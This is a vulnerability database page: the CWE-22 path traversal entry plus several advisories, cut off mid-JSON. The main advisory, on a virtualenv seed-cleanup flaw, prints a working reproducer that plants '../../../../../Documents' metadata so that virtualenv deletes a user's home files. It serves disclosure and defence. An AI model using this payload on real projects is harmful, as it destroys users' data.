Common Weakness Enumeration

CWE-22

Weakness Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.

Mapping guidance

This CWE entry might have children that would be more appropriate.

Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
CanPrecede: CWE-668 · View CWE-1000
Modes of introduction
Implementation
Detection methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Other

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Contribution: Nick Johnston · 2022-07-11 · CWE 4.9

Identified weakness in Perl demonstrative example

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.15

Provided diagram to improve CWE usability

Contribution: Drew Buttner · MITRE · 2024-11-01 · CWE 4.16

Identified weakness in "good code" for Python demonstrative example

Contribution: Affan Ahmed · 2025-02-08 · CWE 4.20

Provided a demonstrative example in PHP

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Potential_Mitigations, Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-12-13 · CWE 1.11

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2013-02-21 · CWE 2.4

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Other_Notes, Research_Gaps

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Relationships

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships, Type

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, References, Relationships, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2023-10-26 · CWE 4.13

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2024-07-16 · CWE 4.15

updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Relationships

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings

16076 vulnerabilities reference this CWE, most recent first.

GHSA-HHXQ-47XX-J5XX

Vulnerability from github – Published: 2026-10-23 22:19 – Updated: 2026-10-23 22:19
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths. A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")


def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home


def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )


def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")


def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]


# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

repro.d/make_project_tree.py

#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:19:15Z",
    "nvd_published_at": "2026-10-20T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared .venv metadata\n    participant V as App-data seeder\n    participant P as site-packages\n    participant H as User home\n    A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n    A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n    V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n    P-\u003e\u003eH: join entries without containment check\n    V-\u003e\u003eH: remove Documents and notes.txt\n    V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n    home = work / name\n    (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n    (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n    (home / \"notes.txt\").write_text(\"my notes\\n\")\n    return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n    subprocess.run(\n        [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n        check=True,\n    )\n\n\ndef user_runs_virtualenv(home):\n    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n    result = subprocess.run(\n        [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n        cwd=home / \"project\",\n        env={**os.environ, \"HOME\": str(home)},\n        stdout=subprocess.PIPE,\n        text=True,\n        check=True,\n    )\n    print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n    return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL  user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n    dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n    dist_info.mkdir(parents=True)\n    (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n    (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
  "id": "GHSA-hhxq-47xx-j5xx",
  "modified": "2026-10-23T22:19:15Z",
  "published": "2026-10-23T22:19:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "virtualenv: Seed replacement does not contain metadata deletion paths"
}

GHSA-HJ3M-V758-JWX5

Vulnerability from github – Published: 2022-01-05 15:02 – Updated: 2023-09-11 22:36
VLAI
Summary
Path Traversal in http-server-node
Details

All versions of package http-server-node are vulnerable to Directory Traversal via use of --path-as-is.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-server-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-04T18:43:28Z",
    "nvd_published_at": "2021-12-17T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of package http-server-node are vulnerable to Directory Traversal via use of `--path-as-is`.",
  "id": "GHSA-hj3m-v758-jwx5",
  "modified": "2023-09-11T22:36:13Z",
  "published": "2022-01-05T15:02:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23797"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yan-loong/http-server"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-HTTPSERVERNODE-1727656"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Path Traversal in http-server-node"
}

GHSA-HJ4G-4W36-X8HP

Vulnerability from github – Published: 2023-01-20 18:30 – Updated: 2025-04-04 02:08
VLAI
Summary
Kraken has arbitrary file read vulnerability via component testfs
Details

kraken <= 0.1.4 has an arbitrary file read vulnerability via the component testfs.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/uber/kraken"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-47747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-20T21:56:09Z",
    "nvd_published_at": "2023-01-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "kraken \u003c= 0.1.4 has an arbitrary file read vulnerability via the component `testfs`.",
  "id": "GHSA-hj4g-4w36-x8hp",
  "modified": "2025-04-04T02:08:51Z",
  "published": "2023-01-20T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uber/kraken/issues/333"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hj4g-4w36-x8hp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uber/kraken"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kraken has arbitrary file read vulnerability via component testfs"
}

GHSA-HJ57-6WXM-559X

Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17
VLAI
Details

Directory traversal vulnerability in the management screen of Cybozu Remote Service 3.1.8 allows a remote authenticated attacker to upload an arbitrary file via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-13T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in the management screen of Cybozu Remote Service 3.1.8 allows a remote authenticated attacker to upload an arbitrary file via unspecified vectors.",
  "id": "GHSA-hj57-6wxm-559x",
  "modified": "2022-05-24T19:17:27Z",
  "published": "2022-05-24T19:17:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20796"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN52694228/index.html"
    },
    {
      "type": "WEB",
      "url": "https://kb.cybozu.support/article/37427"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HJ63-272C-H8GW

Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-04 00:01
VLAI
Details

Directory traversal vulnerability in the GfdFileUploadServerlet servlet in Lexmark MarkVision Enterprise before 2.1 allows remote attackers to write to arbitrary files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-8741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-27T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Directory traversal vulnerability in the GfdFileUploadServerlet servlet in Lexmark MarkVision Enterprise before 2.1 allows remote attackers to write to arbitrary files via unspecified vectors.",
  "id": "GHSA-hj63-272c-h8gw",
  "modified": "2024-04-04T00:01:08Z",
  "published": "2022-05-17T19:57:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8741"
    },
    {
      "type": "WEB",
      "url": "http://support.lexmark.com/index?page=content\u0026id=TE666"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-14-410"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HJ73-XX75-PHMM

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16
VLAI
Details

ECOA BAS controller suffers from a path traversal vulnerability, causing arbitrary files deletion. Using the specific GET parameter, unauthenticated attackers can remotely delete arbitrary files on the affected device and cause denial of service scenario.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-41294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
